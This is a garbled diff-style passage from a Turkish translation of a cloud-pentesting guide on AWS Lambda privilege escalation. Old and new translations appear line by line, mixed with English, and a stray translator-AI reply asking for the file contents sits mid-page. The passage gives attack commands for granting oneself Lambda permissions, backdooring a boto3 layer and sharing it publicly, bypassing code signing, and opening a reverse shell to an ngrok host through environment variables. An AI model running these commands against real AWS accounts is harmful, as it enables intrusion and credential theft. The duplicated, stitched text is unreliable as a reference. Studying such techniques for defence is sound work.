Bu izne sahip bir saldırgan **kendisine (veya başkalarına) herhangi bir izin verebilir** (bu, kaynağa erişim sağlamak için kaynak tabanlı politikalar oluşturur):
Bu izne sahip bir saldırgan **kendine (veya başkalarına) herhangi bir izin verebilir** (bu, kaynağa erişim sağlamak için kaynak tabanlı politikalar oluşturur):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,11 +130,11 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potansiyel Etki:** Kodu değiştirme ve çalıştırma izni vererek lambda hizmet rolüne doğrudan yetki artırma.
**Olası Etki:** Kodu değiştirme ve çalıştırma izni vererek kullanılan lambda servis rolüne doğrudan privesc sağlar.
### `lambda:AddLayerVersionPermission`
Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve güvenlik açıkları veya hassas bilgiler arayabilir.
Bu izne sahip bir saldırgan **kendisine (veya başkalarına) `lambda:GetLayerVersion` iznini verebilir**. Katmana erişebilir ve zafiyetler veya hassas bilgiler arayabilir.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
@@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen
### `lambda:UpdateFunctionCode`
**`lambda:UpdateFunctionCode`** iznine sahip kullanıcılar, **bir IAM rolüne bağlı mevcut bir Lambda fonksiyonunun kodunu değiştirme potansiyeline sahiptir.**\
Saldırgan, **IAM kimlik bilgilerini dışa aktarmak için lambdanın kodunu değiştirebilir.**
Kullanıcılar **`lambda:UpdateFunctionCode`** iznine sahip olduğunda, **IAM rolüne bağlı mevcut bir Lambda fonksiyonunun kodunu değiştirme** potansiyeline sahiptir.\
Saldırgan, Lambda'nın kodunu IAM kimlik bilgilerini exfiltrate etmek için değiştirebilir.
Saldırganın fonksiyonu doğrudan çağırma yeteneği olmasa da, eğer Lambda fonksiyonu önceden var ve çalışıyorsa, mevcut iş akışları veya olaylar aracılığıyla tetiklenmesi muhtemeldir, böylece değiştirilmiş kodun yürütülmesini dolaylı olarak kolaylaştırır.
Saldırgan fonksiyonu doğrudan çağırma yetkisine sahip olmayabilir; ancak Lambda fonksiyonu önceden mevcut ve çalışır durumdaysa, muhtemelen mevcut iş akışları veya olaylar aracılığıyla tetiklenecek ve bu da değiştirilmiş kodun dolaylı olarak yürütülmesini kolaylaştırır.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,27 +157,27 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Olası Etki:** Kullanılan lambda hizmet rolüne doğrudan yetki artırımı.
**Potential Impact:** Kullanılan lambda servis rolüne doğrudan privesc.
### `lambda:UpdateFunctionConfiguration`
#### Çevresel değişkenler aracılığıyla RCE
#### RCE via env variables
Bu izinlerle, Lambda'nın rastgele kod çalıştırmasına neden olacak çevresel değişkenler eklemek mümkündür. Örneğin, Python'da `PYTHONWARNING` ve `BROWSER` çevresel değişkenlerini kötüye kullanarak bir Python sürecinin rastgele komutlar çalıştırması sağlanabilir:
Bu izinlerle, Lambda'nın keyfi kod çalıştırmasına neden olacak ortam değişkenleri eklemek mümkün. Örneğin python'da `PYTHONWARNING` ve `BROWSER` ortam değişkenleri kötüye kullanılarak bir python sürecinin rastgele komutlar çalıştırması sağlanabilir:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Diğer betik dilleri için kullanabileceğiniz başka ortam değişkenleri vardır. Daha fazla bilgi için betik dillerinin alt bölümlerine bakın:
Diğer betik dilleri için kullanabileceğiniz başka env variables vardır. Daha fazla bilgi için betik dillerinin alt bölümlerine bakın:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
{{#endref}}
#### Lambda Katmanları ile RCE
#### RCE via Lambda Layers
[**Lambda Katmanları**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) **kodunuzu** lambda fonksiyonunuza dahil etmenizi sağlar, ancak **ayrı olarak depolayarak**, böylece fonksiyon kodu küçük kalabilir ve **birden fazla fonksiyon kodu paylaşabilir**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) ile **code** lamdba fonksiyonunuza dahil edilebilir ancak ayrı olarak saklanır; böylece fonksiyon kodu küçük kalabilir ve birden fazla fonksiyon bu kodu paylaşabilir.
Lambda içinde, python kodunun yüklendiği yolları aşağıdaki gibi bir fonksiyonla kontrol edebilirsiniz:
lambda içinde python code'un hangi yollardan yüklendiğini aşağıdaki gibi bir fonksiyonla kontrol edebilirsiniz:
```python
import json
import sys
@@ -185,7 +185,7 @@ import sys
def lambda_handler(event, context):
print(json.dumps(sys.path, indent=2))
```
Bunlar yerlerdir:
Bunlar şu konumlar:
1. /var/task
2. /opt/python/lib/python3.7/site-packages
@@ -198,53 +198,53 @@ Bunlar yerlerdir:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
Örneğin, boto3 kütüphanesi `/var/runtime/boto3` (4. pozisyon) konumundan yüklenir.
Örneğin, boto3 kütüphanesi `/var/runtime/boto3` konumundan yüklenir (4. konum).
#### Exploitation
`lambda:UpdateFunctionConfiguration` iznini kötüye kullanarak bir lambda fonksiyonuna **yeni bir katman eklemek** mümkündür. Rastgele kod çalıştırmak için bu katmanın **lambda'nın içe aktaracağı bazı kütüphaneleri içermesi** gerekir. Lambda'nın kodunu okuyabiliyorsanız, bunu kolayca bulabilirsiniz, ayrıca lambda'nın **zaten bir katman kullanıyor olabileceğini** ve bu katmanı **indirebileceğinizi** ve **oraya kodunuzu ekleyebileceğinizi** unutmayın.
It's possible to abuse the permission `lambda:UpdateFunctionConfiguration` to **yeni bir layer eklemek** to a lambda function. To execute arbitrary code this layer need to contain some **lambda'nın içe aktaracağı kütüphaneler.** Eğer lambda'nın kodunu okuyabiliyorsanız bunu kolayca bulabilirsiniz; ayrıca lambda'nın **zaten bir layer kullanıyor olması** ve siz bu layer'ı **indirip** içine **kodunuzu ekleyebilmeniz** de mümkün olabilir.
Örneğin, lambda'nın boto3 kütüphanesini kullandığını varsayalım, bu, kütüphanenin son sürümüyle yerel bir katman oluşturacaktır:
For example, lets suppose that the lambda is using the library boto3, this will create a local layer with the last version of the library:
```bash
pip3 install -t ./lambda_layer boto3
```
`./lambda_layer/boto3/__init__.py` dosyasınıabilir ve **global kodda arka kapıyı ekleyebilirsiniz** (örneğin, kimlik bilgilerini dışa aktaran bir fonksiyon veya ters bir shell almak için).
`./lambda_layer/boto3/__init__.py` dosyasınııp **global koda backdoor ekleyebilirsiniz** (örneğin credentials'leri exfiltrate eden veya bir reverse shell elde eden bir fonksiyon).
Ardından, `./lambda_layer` dizinini zipleyin ve **yeni lambda katmanını** kendi hesabınıza (veya kurbanın hesabına, ancak bunun için izinleriniz olmayabilir) yükleyin.\
Bir python klasörü oluşturmanız ve kütüphaneleri oraya koymanız gerektiğini unutmayın, böylece /opt/python/boto3'ü geçersiz kılabilirsiniz. Ayrıca, katmanın **lambda tarafından kullanılan python sürümüyle uyumlu olması** gerekir ve eğer bunu kendi hesabınıza yüklüyorsanız, **aynı bölgede** olması gerekir:
Sonra, `./lambda_layer` dizinini zipleyip **yeni lambda layer'ı** kendi hesabınıza yükleyin (ya da kurbanın hesabına, ancak bunun için yetkiniz olmayabilir).\
Dikkat: /opt/python/boto3'ü override etmek için bir python klasörü oluşturup kütüphaneleri oraya koymanız gerekir. Ayrıca, layer'in lambda tarafından kullanılan python sürümüyle **python sürümüyle uyumlu** olması ve eğer bunu kendi hesabınıza yüklüyorsanız **aynı bölgede** olması gerekir:
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Şimdi yüklenen lambda katmanını **herhangi bir hesap tarafından erişilebilir hale getirin**:
Şimdi, yüklenen lambda layer'ı **herhangi bir hesaptan erişilebilir** hale getirin:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
--action lambda:GetLayerVersion --principal *
```
Ve kurban lambda fonksiyonuna lambda katmanını ekleyin:
Ve lambda layer'ı victim lambda function'a ekleyin:
```bash
aws lambda update-function-configuration \
--function-name <func-name> \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Sonraki adım, **fonksiyonu** kendimiz çağırmak ya da normal yollarla **çağrılmasını** beklemek olacaktır - bu daha güvenli bir yöntemdir.
Bir sonraki adım, eğer yapabiliyorsak fonksiyonu kendimiz **çağırmak** ya da normal yollarla **çağrılmasını beklemek** — ki bu daha güvenli yöntemdir.
Bu açığı istismar etmenin **daha gizli bir yolu** şurada bulunabilir:
Bu zafiyeti sömürmek için **daha stealth bir yöntem** şurada bulunabilir:
{{#ref}}
../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Olası Etki:** Kullanılan lambda hizmet rolüne doğrudan privesc.
**Olası Etki:** Kullanılan lambda service rolüne doğrudan privesc.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Belki bu izinlerle bir fonksiyon oluşturup URL'yi çağırarak çalıştırabilirsiniz... ama bunu test etmenin bir yolunu bulamadım, eğer bulursanız bana bildirin!
Belki bu izinlerle bir function oluşturup URL'i çağırarak çalıştırabilirsiniz... ama bunu test etmenin bir yolunu bulamadım; eğer siz bulursanız haber verin!
### Lambda MitM
Bazı lambdalar, **kullanıcılardan gelen hassas bilgileri parametreler olarak alacak.** Eğer bunlardan birinde RCE elde ederseniz, diğer kullanıcıların gönderdiği bilgileri dışarı sızdırabilirsiniz, bunu kontrol edin:
Bazı lambdas parametrelerde kullanıcıların **hassas bilgilerini alıyor.** Eğer bunlardan birinde RCE elde ederseniz, diğer kullanıcıların ona gönderdiği bilgileri exfiltrate edebilirsiniz; buna bakın:
{{#ref}}
../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
@@ -256,3 +256,62 @@ Bazı lambdalar, **kullanıcılardan gelen hassas bilgileri parametreler olarak
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
İzinler (bunlardan biri):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
- Path B: `lambda:CreateCodeSigningConfig`, `lambda:PutFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
Notlar:
- Path B için, CSC policy `WARN` olarak ayarlanmışsa bir AWS Signer profiline ihtiyacınız yoktur (unsigned artifacts'e izin verilir).
Adımlar (REGION=us-east-1, TARGET_FN=<target-lambda-name>):
Küçük bir payload hazırlayın:
```bash
cat > handler.py <<'PY'
import os, json
def lambda_handler(event, context):
return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Yol A) CSC'yi kaldırın, ardından kodu güncelleyin:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION
fi
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Path B) Uyarı seviyesine düşür ve kodu güncelle (silmeye izin verilmiyorsa):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
--code-signing-policies UntrustedArtifactOnDeployment=WARN \
--query CodeSigningConfig.CodeSigningConfigArn --output text --region $REGION)
aws lambda put-function-code-signing-config --function-name $TARGET_FN --code-signing-config-arn $CSC_ARN --region $REGION
aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://backdoor.zip --region $REGION
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
I don't have the file contents. Lütfen çevirmemi istediğiniz src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md dosyasının içeriğini yapıştırın veya hangi bölümü doğrulamam gerektiğini belirtin.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
Olası etki: signed deployments'ı uygulaması gereken bir function içinde keyfi unsigned code yükleyip çalıştırabilme yeteneği; bu durum function role's permissions ile code execution'a yol açabilir.
Temizlik:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```